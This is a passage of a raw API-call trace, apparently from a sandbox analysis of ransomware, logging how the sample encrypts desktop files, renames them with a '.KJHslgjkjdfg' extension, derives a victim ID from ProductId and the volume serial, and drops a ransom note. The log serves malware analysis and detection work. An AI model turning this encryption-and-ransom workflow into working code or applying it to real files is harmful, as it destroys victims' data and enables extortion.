dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x5f80, dwBufLen=0x5f80 | out: pbData=0x26c0020*, pdwDataLen=0x290f9f0*=0x5f80) returned 1 [0127.383] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.383] WriteFile (in: hFile=0xb8, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5f80, lpNumberOfBytesWritten=0x290fa08, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fa08*=0x5f80, lpOverlapped=0x0) returned 1 [0127.383] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.383] SetFilePointerEx (in: hFile=0xb8, liDistanceToMove=0x6054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.383] SetEndOfFile (hFile=0xb8) returned 1 [0127.385] GetProcessHeap () returned 0x2a0000 [0127.385] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.385] GetProcessHeap () returned 0x2a0000 [0127.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.386] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\ZMaqfD_.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\zmaqfd_.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\ZMaqfD_.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\zmaqfd_.bmp.kjhslgjkjdfg")) returned 1 [0127.389] CloseHandle (hObject=0xb8) returned 1 [0127.389] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d215910, ftCreationTime.dwHighDateTime=0x1d5e368, ftLastAccessTime.dwLowDateTime=0x2cf1e020, ftLastAccessTime.dwHighDateTime=0x1d5e3c1, ftLastWriteTime.dwLowDateTime=0x2cf1e020, ftLastWriteTime.dwHighDateTime=0x1d5e3c1, nFileSizeHigh=0x0, nFileSizeLow=0x5f7e, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="ZMaqfD_.bmp", cAlternateFileName="")) returned 0 [0127.389] GetProcessHeap () returned 0x2a0000 [0127.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.389] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f7d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c62e0) returned 1 [0127.389] CryptDecrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290f840 | out: pbData=0x2bf528, pdwDataLen=0x290f840) returned 1 [0127.389] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.389] GetProcessHeap () returned 0x2a0000 [0127.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf600 [0127.389] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f7d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c62e0) returned 1 [0127.389] CryptDecrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf600, pdwDataLen=0x290f840 | out: pbData=0x2bf600, pdwDataLen=0x290f840) returned 1 [0127.389] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.389] GetProcessHeap () returned 0x2a0000 [0127.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2c78f8 [0127.389] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f7d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c62e0) returned 1 [0127.389] CryptDecrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c78f8, pdwDataLen=0x290f840 | out: pbData=0x2c78f8, pdwDataLen=0x290f840) returned 1 [0127.389] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.389] GetProcessHeap () returned 0x2a0000 [0127.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf6d8 [0127.389] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f3b0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c62e0) returned 1 [0127.390] CryptDecrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf6d8, pdwDataLen=0x290f420 | out: pbData=0x2bf6d8, pdwDataLen=0x290f420) returned 1 [0127.390] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.390] GetProcessHeap () returned 0x2a0000 [0127.390] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1690 [0127.390] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f3b0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c62e0) returned 1 [0127.390] CryptDecrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1690, pdwDataLen=0x290f420 | out: pbData=0x2c1690, pdwDataLen=0x290f420) returned 1 [0127.390] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.390] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290f41c | out: phkResult=0x290f41c*=0xb8) returned 0x0 [0127.390] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290f428, lpcbData=0x290f424*=0x400 | out: lpType=0x0, lpData=0x290f428*=0x30, lpcbData=0x290f424*=0x18) returned 0x0 [0127.390] RegCloseKey (hKey=0xb8) returned 0x0 [0127.390] GetProcessHeap () returned 0x2a0000 [0127.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf6d8 | out: hHeap=0x2a0000) returned 1 [0127.390] GetProcessHeap () returned 0x2a0000 [0127.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1690 | out: hHeap=0x2a0000) returned 1 [0127.390] GetProcessHeap () returned 0x2a0000 [0127.390] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1690 [0127.390] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f190, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c62e0) returned 1 [0127.390] CryptDecrypt (in: hKey=0x2c62e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1690, pdwDataLen=0x290f1f4 | out: pbData=0x2c1690, pdwDataLen=0x290f1f4) returned 1 [0127.391] CryptDestroyKey (hKey=0x2c62e0) returned 1 [0127.391] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290f1f8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0127.391] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290f1f0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290f1f0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0127.391] GetProcessHeap () returned 0x2a0000 [0127.391] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1690 | out: hHeap=0x2a0000) returned 1 [0127.391] wsprintfA (in: param_1=0x290f43f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0127.391] wsprintfA (in: param_1=0x290f84c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0127.391] GetProcessHeap () returned 0x2a0000 [0127.391] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2c7cc0 [0127.391] wsprintfW (in: param_1=0x290e81c, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\readme-warning.txt") returned 63 [0127.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3YWouV\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ywouv\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0127.393] WriteFile (in: hFile=0xb8, lpBuffer=0x2c7cc0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e818, lpOverlapped=0x0 | out: lpBuffer=0x2c7cc0*, lpNumberOfBytesWritten=0x290e818*=0x3b3, lpOverlapped=0x0) returned 1 [0127.394] CloseHandle (hObject=0xb8) returned 1 [0127.394] GetProcessHeap () returned 0x2a0000 [0127.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c78f8 | out: hHeap=0x2a0000) returned 1 [0127.394] GetProcessHeap () returned 0x2a0000 [0127.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7cc0 | out: hHeap=0x2a0000) returned 1 [0127.394] GetProcessHeap () returned 0x2a0000 [0127.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf600 | out: hHeap=0x2a0000) returned 1 [0127.394] GetProcessHeap () returned 0x2a0000 [0127.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.394] FindClose (in: hFindFile=0x2c6320 | out: hFindFile=0x2c6320) returned 1 [0127.394] GetProcessHeap () returned 0x2a0000 [0127.394] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7680 | out: hHeap=0x2a0000) returned 1 [0127.394] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b318480, ftCreationTime.dwHighDateTime=0x1d5dae5, ftLastAccessTime.dwLowDateTime=0x73b7aae0, ftLastAccessTime.dwHighDateTime=0x1d5e0a5, ftLastWriteTime.dwLowDateTime=0x73b7aae0, ftLastWriteTime.dwHighDateTime=0x1d5e0a5, nFileSizeHigh=0x0, nFileSizeLow=0x19fd, dwReserved0=0x0, dwReserved1=0xffff, cFileName="b5p-6s.mp3", cAlternateFileName="")) returned 1 [0127.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b5p-6s.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b5p-6s.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.395] GetProcessHeap () returned 0x2a0000 [0127.395] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.395] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.395] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.395] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x3, lpOverlapped=0x0) returned 1 [0127.396] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.396] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.396] GetProcessHeap () returned 0x2a0000 [0127.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0127.396] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290fc78*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290fc78*=0x30) returned 1 [0127.396] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.396] WriteFile (in: hFile=0xc0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290fc90*=0x30, lpOverlapped=0x0) returned 1 [0127.396] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.396] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.396] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.396] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.397] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.397] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.397] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.397] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.397] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19fd, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x19fd, lpOverlapped=0x0) returned 1 [0127.397] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x1a00, dwBufLen=0x1a00 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x1a00) returned 1 [0127.397] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.397] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x1a00, lpOverlapped=0x0) returned 1 [0127.397] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.397] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x1ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.397] SetEndOfFile (hFile=0xc0) returned 1 [0127.400] GetProcessHeap () returned 0x2a0000 [0127.400] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0127.400] GetProcessHeap () returned 0x2a0000 [0127.400] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.400] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b5p-6s.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b5p-6s.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\b5p-6s.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b5p-6s.mp3.kjhslgjkjdfg")) returned 1 [0127.401] CloseHandle (hObject=0xc0) returned 1 [0127.405] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0xffff, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0127.405] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58bb5d00, ftCreationTime.dwHighDateTime=0x1d5df41, ftLastAccessTime.dwLowDateTime=0xed11adb0, ftLastAccessTime.dwHighDateTime=0x1d5e554, ftLastWriteTime.dwLowDateTime=0xed11adb0, ftLastWriteTime.dwHighDateTime=0x1d5e554, nFileSizeHigh=0x0, nFileSizeLow=0xa11c, dwReserved0=0x0, dwReserved1=0xffff, cFileName="doIJiwS972tb8Mml_wri.avi", cAlternateFileName="DOIJIW~1.AVI")) returned 1 [0127.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\doIJiwS972tb8Mml_wri.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\doijiws972tb8mml_wri.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.405] GetProcessHeap () returned 0x2a0000 [0127.405] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.405] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.405] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.405] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.406] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.406] GetProcessHeap () returned 0x2a0000 [0127.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.406] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50) returned 1 [0127.406] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.406] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fc90*=0x50, lpOverlapped=0x0) returned 1 [0127.406] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.406] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.406] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.406] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.406] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.407] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.407] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.407] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.407] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa11c, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0xa11c, lpOverlapped=0x0) returned 1 [0127.407] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xa120, dwBufLen=0xa120 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0xa120) returned 1 [0127.408] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.408] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa120, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0xa120, lpOverlapped=0x0) returned 1 [0127.408] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.408] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xa204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.408] SetEndOfFile (hFile=0xc0) returned 1 [0127.411] GetProcessHeap () returned 0x2a0000 [0127.412] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.412] GetProcessHeap () returned 0x2a0000 [0127.412] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.412] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\doIJiwS972tb8Mml_wri.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\doijiws972tb8mml_wri.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\doIJiwS972tb8Mml_wri.avi.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\doijiws972tb8mml_wri.avi.kjhslgjkjdfg")) returned 1 [0127.413] CloseHandle (hObject=0xc0) returned 1 [0127.413] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a87f1c0, ftCreationTime.dwHighDateTime=0x1d5daa9, ftLastAccessTime.dwLowDateTime=0x6785bdd0, ftLastAccessTime.dwHighDateTime=0x1d5dce4, ftLastWriteTime.dwLowDateTime=0x6785bdd0, ftLastWriteTime.dwHighDateTime=0x1d5dce4, nFileSizeHigh=0x0, nFileSizeLow=0xba87, dwReserved0=0x0, dwReserved1=0xffff, cFileName="fbNvFXNW.jpg", cAlternateFileName="")) returned 1 [0127.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fbNvFXNW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fbnvfxnw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.413] GetProcessHeap () returned 0x2a0000 [0127.413] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.413] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.413] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.413] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x9, lpOverlapped=0x0) returned 1 [0127.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.414] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.414] GetProcessHeap () returned 0x2a0000 [0127.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.414] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.415] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.415] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.415] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.415] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.415] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 